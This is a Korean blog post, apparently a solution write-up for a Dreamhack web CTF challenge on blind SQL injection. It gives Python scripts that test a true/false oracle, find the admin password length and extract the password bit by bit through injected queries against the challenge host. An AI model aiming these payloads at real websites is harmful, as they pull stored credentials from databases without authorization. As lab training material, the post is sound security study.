본문 바로가기

모의해킹/Dreamhack

blind sql injection advanced [WEB LEVEL1]

728x90

문제 정보

 

from requests import get
//참과 거짓 확인 
url = "http://host2.dreamhack.games:15970"  // url 주소 지정 

query = f"admin' and 1 = 1-- "  //참 쿼리 --(뛰어쓰기 필수)
req = get(f"{url}/?uid={query}")
print(req.status_code)
if "exists" in req.text:
    print("True")
else:
    print("False")

 

 

from requests import get

url = 'http://host3.dreamhack.games:11716/'   //url 지정

password_len = 0
while True:
    password_len += 1
    query = f"admin' and char_length(upw) = {password_len}-- -"   //char_length 함수 사용
    req = get(f"{url}/?uid={query}")   //get으로 요청
    if "exists" in req.text:  //exists 문자열이 존재하는지 확인
        break
print(f"password length : {password_len}")

** char_length 함수는 문자열 인코딩에 따른 정확한 길이를 계산하기 위해서 사용

 

 

 

Bit 연산을 사용한 blind Injection payload 

from requests import get

host = "http://host2.dreamhack.games:21636/"  // url 주소 지정 
password_length = 0

// password 길이 찾기
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length} -- "
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

password = ""
for i in range(1, password_length + 1):
    bit_length = 0
// 비트열 길이 찾기
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length} -- "
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
  
    bits = ""
// 비트열 추출
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1' -- "
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
 // 비트열 문자로 변환 
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)

int.to_bytes 함수는 정수를 Big Endian 형태로 변환

bytes.decode 함수는 문자를 인코딩에 맞게 변환 

 

'모의해킹 > Dreamhack' 카테고리의 다른 글